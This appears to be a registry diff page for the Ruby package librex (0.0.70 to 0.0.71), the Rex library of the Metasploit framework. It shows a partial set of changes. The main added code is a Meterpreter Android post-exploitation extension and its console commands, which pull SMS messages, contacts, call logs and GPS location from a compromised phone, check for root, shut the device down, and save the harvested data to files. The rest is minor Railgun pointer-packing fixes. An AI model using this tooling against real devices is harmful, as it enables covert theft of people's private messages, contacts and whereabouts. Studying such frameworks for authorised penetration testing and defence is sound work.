librex 0.0.70 → 0.0.71

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (59) hide show
  1. checksums.yaml +5 -13
  2. data/README.markdown +5 -10
  3. data/Rakefile +1 -1
  4. data/lib/rex/arch.rb +1 -1
  5. data/lib/rex/encoder/bloxor/bloxor.rb +1 -0
  6. data/lib/rex/encoder/ndr.rb +1 -1
  7. data/lib/rex/exploitation/heaplib.rb +4 -2
  8. data/lib/rex/exploitation/powershell.rb +62 -0
  9. data/lib/rex/exploitation/powershell/function.rb +63 -0
  10. data/lib/rex/exploitation/powershell/obfu.rb +98 -0
  11. data/lib/rex/exploitation/powershell/output.rb +151 -0
  12. data/lib/rex/exploitation/powershell/param.rb +23 -0
  13. data/lib/rex/exploitation/powershell/parser.rb +183 -0
  14. data/lib/rex/exploitation/powershell/psh_methods.rb +70 -0
  15. data/lib/rex/exploitation/powershell/script.rb +99 -0
  16. data/lib/rex/exploitation/ropdb.rb +1 -0
  17. data/lib/rex/mac_oui.rb +1 -0
  18. data/lib/rex/ole/util.rb +2 -2
  19. data/lib/rex/parser/group_policy_preferences.rb +185 -0
  20. data/lib/rex/parser/outpost24_nokogiri.rb +1 -0
  21. data/lib/rex/poly/machine.rb +1 -0
  22. data/lib/rex/poly/machine/machine.rb +1 -0
  23. data/lib/rex/poly/machine/x86.rb +1 -0
  24. data/lib/rex/post/meterpreter/extensions/android/android.rb +128 -0
  25. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +40 -0
  26. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb +32 -0
  27. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +6 -6
  28. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +4 -4
  29. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +2 -1
  30. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb +4 -4
  31. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +4 -4
  32. data/lib/rex/post/meterpreter/packet.rb +3 -3
  33. data/lib/rex/post/meterpreter/ui/console.rb +2 -0
  34. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +383 -0
  35. data/lib/rex/proto/dcerpc/ndr.rb +1 -1
  36. data/lib/rex/proto/ipmi/channel_auth_reply.rb +1 -0
  37. data/lib/rex/proto/ipmi/open_session_reply.rb +1 -0
  38. data/lib/rex/proto/ipmi/rakp2.rb +1 -0
  39. data/lib/rex/proto/natpmp/packet.rb +8 -8
  40. data/lib/rex/proto/ntp.rb +3 -0
  41. data/lib/rex/proto/ntp/constants.rb +12 -0
  42. data/lib/rex/proto/ntp/modes.rb +130 -0
  43. data/lib/rex/proto/pjl.rb +1 -0
  44. data/lib/rex/proto/pjl/client.rb +1 -0
  45. data/lib/rex/proto/sip.rb +4 -0
  46. data/lib/rex/proto/sip/response.rb +61 -0
  47. data/lib/rex/proto/smb/exceptions.rb +11 -3
  48. data/lib/rex/random_identifier_generator.rb +1 -0
  49. data/lib/rex/registry/lfkey.rb +1 -1
  50. data/lib/rex/registry/nodekey.rb +10 -10
  51. data/lib/rex/registry/valuekey.rb +5 -5
  52. data/lib/rex/registry/valuelist.rb +1 -1
  53. data/lib/rex/socket/ip.rb +1 -0
  54. data/lib/rex/sslscan/result.rb +1 -0
  55. data/lib/rex/sslscan/scanner.rb +1 -0
  56. data/lib/rex/text.rb +2 -13
  57. data/lib/rex/ui/text/output/buffer/stdout.rb +1 -0
  58. data/lib/rex/ui/text/table.rb +4 -4
  59. metadata +23 -4
@@ -1,3 +1,4 @@
1
+ # -*- coding: binary -*-
1
2
  require "rex/parser/nokogiri_doc_mixin"
2
3
 
3
4
  module Rex
@@ -1,3 +1,4 @@
1
+ # -*- coding: binary -*-
1
2
 
2
3
  module Rex
3
4
 
@@ -1,3 +1,4 @@
1
+ # -*- coding: binary -*-
1
2
 
2
3
  module Rex
3
4
 
@@ -1,3 +1,4 @@
1
+ # -*- coding: binary -*-
1
2
 
2
3
  module Rex
3
4
 
@@ -0,0 +1,128 @@
1
+ #!/usr/bin/env ruby
2
+ # -*- coding: binary -*-
3
+ require 'rex/post/meterpreter/extensions/android/tlv'
4
+ require 'rex/post/meterpreter/packet'
5
+ require 'rex/post/meterpreter/client'
6
+ require 'rex/post/meterpreter/channels/pools/stream_pool'
7
+
8
+
9
+ module Rex
10
+ module Post
11
+ module Meterpreter
12
+ module Extensions
13
+ module Android
14
+
15
+ ###
16
+ # Android extension - set of commands to be executed on android devices.
17
+ # extension by Anwar Mohamed (@anwarelmakrahy)
18
+ ###
19
+
20
+
21
+ class Android < Extension
22
+
23
+ def initialize(client)
24
+ super(client, 'android')
25
+
26
+ # Alias the following things on the client object so that they
27
+ # can be directly referenced
28
+ client.register_extension_aliases(
29
+ [
30
+ {
31
+ 'name' => 'android',
32
+ 'ext' => self
33
+ },
34
+ ])
35
+ end
36
+
37
+ def device_shutdown(n)
38
+ request = Packet.create_request('device_shutdown')
39
+ request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
40
+ response = client.send_request(request)
41
+ return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
42
+ end
43
+
44
+ def dump_sms
45
+ sms = Array.new
46
+ request = Packet.create_request('dump_sms')
47
+ response = client.send_request(request)
48
+
49
+ response.each( TLV_TYPE_SMS_GROUP ) { |p|
50
+
51
+ sms <<
52
+ {
53
+ 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
54
+ 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
55
+ 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
56
+ 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
57
+ 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
58
+ }
59
+
60
+ }
61
+ return sms
62
+ end
63
+
64
+ def dump_contacts
65
+ contacts = Array.new
66
+ request = Packet.create_request('dump_contacts')
67
+ response = client.send_request(request)
68
+
69
+ response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
70
+
71
+ contacts <<
72
+ {
73
+ 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
74
+ 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
75
+ 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
76
+ }
77
+
78
+ }
79
+ return contacts
80
+ end
81
+
82
+ def geolocate
83
+
84
+ loc = Array.new
85
+ request = Packet.create_request('geolocate')
86
+ response = client.send_request(request)
87
+
88
+ loc <<
89
+ {
90
+ 'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
91
+ 'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
92
+ }
93
+
94
+ return loc
95
+ end
96
+
97
+ def dump_calllog
98
+ log = Array.new
99
+ request = Packet.create_request('dump_calllog')
100
+ response = client.send_request(request)
101
+
102
+ response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
103
+
104
+ log <<
105
+ {
106
+ 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
107
+ 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
108
+ 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
109
+ 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
110
+ 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
111
+ }
112
+
113
+ }
114
+ return log
115
+ end
116
+
117
+ def check_root
118
+ request = Packet.create_request('check_root')
119
+ response = client.send_request(request)
120
+ response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
121
+ end
122
+ end
123
+
124
+ end
125
+ end
126
+ end
127
+ end
128
+ end
@@ -0,0 +1,40 @@
1
+ #!/usr/bin/env ruby
2
+ # -*- coding: binary -*-
3
+
4
+ module Rex
5
+ module Post
6
+ module Meterpreter
7
+ module Extensions
8
+ module Android
9
+
10
+ TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
11
+ TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
12
+ TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
13
+ TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
14
+ TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
15
+ TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
16
+
17
+ TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
18
+ TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
19
+ TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
20
+ TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
21
+
22
+ TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
23
+ TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
24
+
25
+ TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
26
+ TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
27
+ TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
28
+ TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
29
+ TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
30
+ TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
31
+
32
+ TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
33
+
34
+ TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
35
+
36
+ end
37
+ end
38
+ end
39
+ end
40
+ end
@@ -0,0 +1,32 @@
1
+ # -*- coding: binary -*-
2
+ module Rex
3
+ module Post
4
+ module Meterpreter
5
+ module Extensions
6
+ module Stdapi
7
+ module Railgun
8
+ module Def
9
+
10
+ class Def_psapi
11
+
12
+ def self.create_dll(dll_path = 'psapi')
13
+ dll = DLL.new(dll_path, ApiConstants.manager)
14
+
15
+ dll.add_function('EnumDeviceDrivers', 'BOOL',[
16
+ %w(PBLOB lpImageBase out),
17
+ %w(DWORD cb in),
18
+ %w(PDWORD lpcbNeeded out)
19
+ ])
20
+
21
+ dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [
22
+ %w(LPVOID ImageBase in),
23
+ %w(PBLOB lpBaseName out),
24
+ %w(DWORD nSize in)
25
+ ])
26
+
27
+ return dll
28
+ end
29
+
30
+ end
31
+
32
+ end; end; end; end; end; end; end
@@ -120,7 +120,7 @@ class DLL
120
120
  raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length
121
121
 
122
122
  if( client.platform =~ /x64/i )
123
- native = 'Q'
123
+ native = 'Q<'
124
124
  else
125
125
  native = 'V'
126
126
  end
@@ -153,12 +153,12 @@ class DLL
153
153
  buffer_size = args[param_idx]
154
154
  if param_desc[0] == "PDWORD"
155
155
  # bump up the size for an x64 pointer
156
- if( native == 'Q' and buffer_size == 4 )
156
+ if( native == 'Q<' and buffer_size == 4 )
157
157
  args[param_idx] = 8
158
158
  buffer_size = args[param_idx]
159
159
  end
160
160
 
161
- if( native == 'Q' )
161
+ if( native == 'Q<' )
162
162
  raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
163
163
  elsif( native == 'V' )
164
164
  raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
@@ -288,7 +288,7 @@ class DLL
288
288
  #process return value
289
289
  case function.return_type
290
290
  when "LPVOID", "HANDLE"
291
- if( native == 'Q' )
291
+ if( native == 'Q<' )
292
292
  return_hash["return"] = rec_return_value
293
293
  else
294
294
  return_hash["return"] = rec_return_value % 4294967296
@@ -318,7 +318,7 @@ class DLL
318
318
  buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes]
319
319
  case buffer_item.datatype
320
320
  when "PDWORD"
321
- return_hash[param_name] = buffer.unpack('V')[0]
321
+ return_hash[param_name] = buffer.unpack(native)[0]
322
322
  when "PCHAR"
323
323
  return_hash[param_name] = asciiz_to_str(buffer)
324
324
  when "PWCHAR"
@@ -338,7 +338,7 @@ class DLL
338
338
  buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes]
339
339
  case buffer_item.datatype
340
340
  when "PDWORD"
341
- return_hash[param_name] = buffer.unpack('V')[0]
341
+ return_hash[param_name] = buffer.unpack(native)[0]
342
342
  when "PCHAR"
343
343
  return_hash[param_name] = asciiz_to_str(buffer)
344
344
  when "PWCHAR"
@@ -50,7 +50,7 @@ class MultiCaller
50
50
  @win_consts = win_consts
51
51
 
52
52
  if( @client.platform =~ /x64/i )
53
- @native = 'Q'
53
+ @native = 'Q<'
54
54
  else
55
55
  @native = 'V'
56
56
  end
@@ -102,12 +102,12 @@ class MultiCaller
102
102
  raise "error in param #{param_desc[1]}: Out-only buffers must be described by a number indicating their size in bytes " unless args[param_idx].class == Fixnum
103
103
  buffer_size = args[param_idx]
104
104
  # bump up the size for an x64 pointer
105
- if( @native == 'Q' and buffer_size == 4 )
105
+ if( @native == 'Q<' and buffer_size == 4 )
106
106
  args[param_idx] = 8
107
107
  buffer_size = args[param_idx]
108
108
  end
109
109
 
110
- if( @native == 'Q' )
110
+ if( @native == 'Q<' )
111
111
  raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
112
112
  elsif( @native == 'V' )
113
113
  raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
@@ -242,7 +242,7 @@ class MultiCaller
242
242
  #process return value
243
243
  case function.return_type
244
244
  when "LPVOID", "HANDLE"
245
- if( @native == 'Q' )
245
+ if( @native == 'Q<' )
246
246
  return_hash["return"] = rec_return_value
247
247
  else
248
248
  return_hash["return"] = rec_return_value % 4294967296
@@ -78,7 +78,8 @@ class Railgun
78
78
  'crypt32',
79
79
  'wlanapi',
80
80
  'wldap32',
81
- 'version'
81
+ 'version',
82
+ 'psapi'
82
83
  ].freeze
83
84
 
84
85
  ##
@@ -27,8 +27,8 @@ module PointerUtil
27
27
 
28
28
  case platform
29
29
  when PlatformUtil::X86_64
30
- # XXX: Only works if attacker and victim are like-endianed
31
- [pointer].pack('Q')
30
+ # Assume little endian
31
+ [pointer].pack('Q<')
32
32
  when PlatformUtil::X86_32
33
33
  [pointer].pack('V')
34
34
  else
@@ -40,8 +40,8 @@ module PointerUtil
40
40
  def self.unpack_pointer(packed_pointer, platform)
41
41
  case platform
42
42
  when PlatformUtil::X86_64
43
- # XXX: Only works if attacker and victim are like-endianed
44
- packed_pointer.unpack('Q').first
43
+ # Assume little endian
44
+ packed_pointer.unpack('Q<').first
45
45
  when PlatformUtil::X86_32
46
46
  packed_pointer.unpack('V').first
47
47
  else
@@ -324,8 +324,8 @@ class Util
324
324
  #
325
325
  def unpack_pointer(packed_pointer)
326
326
  if is_64bit
327
- # XXX: Only works if attacker and victim are like-endianed
328
- packed_pointer.unpack('Q')[0]
327
+ # Assume little endian
328
+ packed_pointer.unpack('Q<')[0]
329
329
  else
330
330
  packed_pointer.unpack('V')[0]
331
331
  end
@@ -452,9 +452,9 @@ class Util
452
452
  # Both on x86 and x64, DWORD is 32 bits
453
453
  return raw.unpack('V').first
454
454
  when :BOOL
455
- return raw.unpack('l').first == 1
455
+ return raw.unpack('V').first == 1
456
456
  when :LONG
457
- return raw.unpack('l').first
457
+ return raw.unpack('V').first
458
458
  end
459
459
 
460
460
  #If nothing worked thus far, return it raw
@@ -251,7 +251,7 @@ class Tlv
251
251
  elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
252
252
  raw = [value].pack("N")
253
253
  elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
254
- raw = [ self.htonq( value.to_i ) ].pack("Q")
254
+ raw = [ self.htonq( value.to_i ) ].pack("Q<")
255
255
  elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
256
256
  if (value == true)
257
257
  raw = [1].pack("c")
@@ -312,7 +312,7 @@ class Tlv
312
312
  elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
313
313
  self.value = raw.unpack("NNN")[2]
314
314
  elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
315
- self.value = raw.unpack("NNQ")[2]
315
+ self.value = raw.unpack("NNQ<")[2]
316
316
  self.value = self.ntohq( self.value )
317
317
  elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
318
318
  self.value = raw.unpack("NNc")[2]
@@ -335,7 +335,7 @@ class Tlv
335
335
  if( [1].pack( 's' ) == [1].pack( 'n' ) )
336
336
  return value
337
337
  end
338
- return [ value ].pack( 'Q' ).reverse.unpack( 'Q' ).first
338
+ return [ value ].pack( 'Q<' ).reverse.unpack( 'Q<' ).first
339
339
  end
340
340
 
341
341
  def ntohq( value )
@@ -106,6 +106,8 @@ class Console
106
106
  log_error("Operation timed out.")
107
107
  rescue RequestError => info
108
108
  log_error(info.to_s)
109
+ rescue Rex::AddressInUse => e
110
+ log_error(e.message)
109
111
  rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError
110
112
  self.client.kill
111
113
  rescue ::Exception => e
@@ -0,0 +1,383 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/post/meterpreter'
3
+ require 'msf/core/auxiliary/report'
4
+
5
+ module Rex
6
+ module Post
7
+ module Meterpreter
8
+ module Ui
9
+
10
+ ###
11
+ # Android extension - set of commands to be executed on android devices.
12
+ # extension by Anwar Mohamed (@anwarelmakrahy)
13
+ ###
14
+
15
+ class Console::CommandDispatcher::Android
16
+ include Console::CommandDispatcher
17
+ include Msf::Auxiliary::Report
18
+
19
+ #
20
+ # List of supported commands.
21
+ #
22
+ def commands
23
+ all = {
24
+ 'dump_sms' => 'Get sms messages',
25
+ 'dump_contacts' => 'Get contacts list',
26
+ 'geolocate' => 'Get current lat-long using geolocation',
27
+ 'dump_calllog' => 'Get call log',
28
+ 'check_root' => 'Check if device is rooted',
29
+ 'device_shutdown' => 'Shutdown device'
30
+ }
31
+
32
+ reqs = {
33
+ 'dump_sms' => [ 'dump_sms' ],
34
+ 'dump_contacts' => [ 'dump_contacts' ],
35
+ 'geolocate' => [ 'geolocate' ],
36
+ 'dump_calllog' => [ 'dump_calllog' ],
37
+ 'check_root' => [ 'check_root' ],
38
+ 'device_shutdown' => [ 'device_shutdown']
39
+ }
40
+
41
+ # Ensure any requirements of the command are met
42
+ all.delete_if do |cmd, desc|
43
+ reqs[cmd].any? { |req| not client.commands.include?(req) }
44
+ end
45
+ end
46
+
47
+ def cmd_device_shutdown(*args)
48
+
49
+ seconds = 0
50
+ device_shutdown_opts = Rex::Parser::Arguments.new(
51
+ '-h' => [ false, 'Help Banner' ],
52
+ '-t' => [ false, 'Shutdown after n seconds']
53
+ )
54
+
55
+ device_shutdown_opts.parse(args) { | opt, idx, val |
56
+ case opt
57
+ when '-h'
58
+ print_line('Usage: device_shutdown [options]')
59
+ print_line('Shutdown device.')
60
+ print_line(device_shutdown_opts.usage)
61
+ return
62
+ when '-t'
63
+ seconds = val.to_i
64
+ end
65
+ }
66
+
67
+ res = client.android.device_shutdown(seconds)
68
+
69
+ if res
70
+ print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
71
+ else
72
+ print_error('Device shutdown failed')
73
+ end
74
+ end
75
+
76
+ def cmd_dump_sms(*args)
77
+
78
+ path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
79
+ dump_sms_opts = Rex::Parser::Arguments.new(
80
+ '-h' => [ false, 'Help Banner' ],
81
+ '-o' => [ false, 'Output path for sms list']
82
+ )
83
+
84
+ dump_sms_opts.parse(args) { | opt, idx, val |
85
+ case opt
86
+ when '-h'
87
+ print_line('Usage: dump_sms [options]')
88
+ print_line('Get sms messages.')
89
+ print_line(dump_sms_opts.usage)
90
+ return
91
+ when '-o'
92
+ path = val
93
+ end
94
+ }
95
+
96
+ smsList = []
97
+ smsList = client.android.dump_sms
98
+
99
+ if smsList.count > 0
100
+ print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
101
+ begin
102
+ info = client.sys.config.sysinfo
103
+
104
+ data = ""
105
+ data << "\n=====================\n"
106
+ data << "[+] Sms messages dump\n"
107
+ data << "=====================\n\n"
108
+
109
+ time = Time.new
110
+ data << "Date: #{time.inspect}\n"
111
+ data << "OS: #{info['OS']}\n"
112
+ data << "Remote IP: #{client.sock.peerhost}\n"
113
+ data << "Remote Port: #{client.sock.peerport}\n\n"
114
+
115
+ smsList.each_with_index { |a, index|
116
+
117
+ data << "##{index.to_i + 1}\n"
118
+
119
+ type = 'Unknown'
120
+ if a['type'] == '1'
121
+ type = 'Incoming'
122
+ elsif a['type'] == '2'
123
+ type = 'Outgoing'
124
+ end
125
+
126
+ status = 'Unknown'
127
+ if a['status'] == '-1'
128
+ status = 'NOT_RECEIVED'
129
+ elsif a['status'] == '1'
130
+ status = 'SME_UNABLE_TO_CONFIRM'
131
+ elsif a['status'] == '0'
132
+ status = 'SUCCESS'
133
+ elsif a['status'] == '64'
134
+ status = 'MASK_PERMANENT_ERROR'
135
+ elsif a['status'] == '32'
136
+ status = 'MASK_TEMPORARY_ERROR'
137
+ elsif a['status'] == '2'
138
+ status = 'SMS_REPLACED_BY_SC'
139
+ end
140
+
141
+ data << "Type\t: #{type}\n"
142
+
143
+ time = a['date'].to_i / 1000
144
+ time = Time.at(time)
145
+
146
+ data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
147
+ data << "Address\t: #{a['address']}\n"
148
+ data << "Status\t: #{status}\n"
149
+ data << "Message\t: #{a['body']}\n\n"
150
+ }
151
+
152
+ ::File.write(path, data)
153
+ print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
154
+
155
+ return true
156
+ rescue
157
+ print_error("Error getting messages: #{$!}")
158
+ return false
159
+ end
160
+ else
161
+ print_status('No sms messages were found!')
162
+ return false
163
+ end
164
+ end
165
+
166
+
167
+ def cmd_dump_contacts(*args)
168
+
169
+ path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
170
+ dump_contacts_opts = Rex::Parser::Arguments.new(
171
+
172
+ '-h' => [ false, 'Help Banner' ],
173
+ '-o' => [ false, 'Output path for contacts list']
174
+
175
+ )
176
+
177
+ dump_contacts_opts.parse(args) { | opt, idx, val |
178
+ case opt
179
+ when '-h'
180
+ print_line('Usage: dump_contacts [options]')
181
+ print_line('Get contacts list.')
182
+ print_line(dump_contacts_opts.usage)
183
+ return
184
+ when '-o'
185
+ path = val
186
+ end
187
+ }
188
+
189
+ contactList = []
190
+ contactList = client.android.dump_contacts
191
+
192
+ if contactList.count > 0
193
+ print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
194
+ begin
195
+ info = client.sys.config.sysinfo
196
+
197
+ data = ""
198
+ data << "\n======================\n"
199
+ data << "[+] Contacts list dump\n"
200
+ data << "======================\n\n"
201
+
202
+ time = Time.new
203
+ data << "Date: #{time.inspect}\n"
204
+ data << "OS: #{info['OS']}\n"
205
+ data << "Remote IP: #{client.sock.peerhost}\n"
206
+ data << "Remote Port: #{client.sock.peerport}\n\n"
207
+
208
+ contactList.each_with_index { |c, index|
209
+
210
+ data << "##{index.to_i + 1}\n"
211
+ data << "Name\t: #{c['name']}\n"
212
+
213
+ if c['number'].count > 0
214
+ (c['number']).each { |n|
215
+ data << "Number\t: #{n}\n"
216
+ }
217
+ end
218
+
219
+ if c['email'].count > 0
220
+ (c['email']).each { |n|
221
+ data << "Email\t: #{n}\n"
222
+ }
223
+ end
224
+
225
+ data << "\n"
226
+ }
227
+
228
+ ::File.write(path, data)
229
+ print_status("Contacts list saved to: #{path}")
230
+
231
+ return true
232
+ rescue
233
+ print_error("Error getting contacts list: #{$!}")
234
+ return false
235
+ end
236
+ else
237
+ print_status('No contacts were found!')
238
+ return false
239
+ end
240
+ end
241
+
242
+ def cmd_geolocate(*args)
243
+
244
+ generate_map = false
245
+ geolocate_opts = Rex::Parser::Arguments.new(
246
+
247
+ '-h' => [ false, 'Help Banner' ],
248
+ '-g' => [ false, 'Generate map using google-maps']
249
+
250
+ )
251
+
252
+ geolocate_opts.parse(args) { | opt, idx, val |
253
+ case opt
254
+ when '-h'
255
+ print_line('Usage: geolocate [options]')
256
+ print_line('Get current location using geolocation.')
257
+ print_line(geolocate_opts.usage)
258
+ return
259
+ when '-g'
260
+ generate_map = true
261
+ end
262
+ }
263
+
264
+ geo = client.android.geolocate
265
+
266
+ print_status('Current Location:')
267
+ print_line("\tLatitude: #{geo[0]['lat']}")
268
+ print_line("\tLongitude: #{geo[0]['long']}\n")
269
+ print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n")
270
+
271
+ if generate_map
272
+ link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}"
273
+ print_status("Generated map on google-maps:")
274
+ print_status(link)
275
+ Rex::Compat.open_browser(link)
276
+ end
277
+
278
+ end
279
+
280
+ def cmd_dump_calllog(*args)
281
+
282
+ path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
283
+ dump_calllog_opts = Rex::Parser::Arguments.new(
284
+
285
+ '-h' => [ false, 'Help Banner' ],
286
+ '-o' => [ false, 'Output path for call log']
287
+
288
+ )
289
+
290
+ dump_calllog_opts.parse(args) { | opt, idx, val |
291
+ case opt
292
+ when '-h'
293
+ print_line('Usage: dump_calllog [options]')
294
+ print_line('Get call log.')
295
+ print_line(dump_calllog_opts.usage)
296
+ return
297
+ when '-o'
298
+ path = val
299
+ end
300
+ }
301
+
302
+ log = client.android.dump_calllog
303
+
304
+ if log.count > 0
305
+ print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
306
+ begin
307
+ info = client.sys.config.sysinfo
308
+
309
+ data = ""
310
+ data << "\n=================\n"
311
+ data << "[+] Call log dump\n"
312
+ data << "=================\n\n"
313
+
314
+ time = Time.new
315
+ data << "Date: #{time.inspect}\n"
316
+ data << "OS: #{info['OS']}\n"
317
+ data << "Remote IP: #{client.sock.peerhost}\n"
318
+ data << "Remote Port: #{client.sock.peerport}\n\n"
319
+
320
+ log.each_with_index { |a, index|
321
+
322
+ data << "##{index.to_i + 1}\n"
323
+
324
+ data << "Number\t: #{a['number']}\n"
325
+ data << "Name\t: #{a['name']}\n"
326
+ data << "Date\t: #{a['date']}\n"
327
+ data << "Type\t: #{a['type']}\n"
328
+ data << "Duration: #{a['duration']}\n\n"
329
+ }
330
+
331
+ ::File.write(path, data)
332
+ print_status("Call log saved to #{path}")
333
+
334
+ return true
335
+ rescue
336
+ print_error("Error getting call log: #{$!}")
337
+ return false
338
+ end
339
+ else
340
+ print_status('No call log entries were found!')
341
+ return false
342
+ end
343
+ end
344
+
345
+
346
+ def cmd_check_root(*args)
347
+
348
+ check_root_opts = Rex::Parser::Arguments.new(
349
+ '-h' => [ false, 'Help Banner' ]
350
+ )
351
+
352
+ check_root_opts.parse(args) { | opt, idx, val |
353
+ case opt
354
+ when '-h'
355
+ print_line('Usage: check_root [options]')
356
+ print_line('Check if device is rooted.')
357
+ print_line(check_root_opts.usage)
358
+ return
359
+ end
360
+ }
361
+
362
+ is_rooted = client.android.check_root
363
+
364
+ if is_rooted
365
+ print_good('Device is rooted')
366
+ elsif
367
+ print_status('Device is not rooted')
368
+ end
369
+ end
370
+
371
+ #
372
+ # Name for this dispatcher
373
+ #
374
+ def name
375
+ 'Android'
376
+ end
377
+
378
+ end
379
+
380
+ end
381
+ end
382
+ end
383
+ end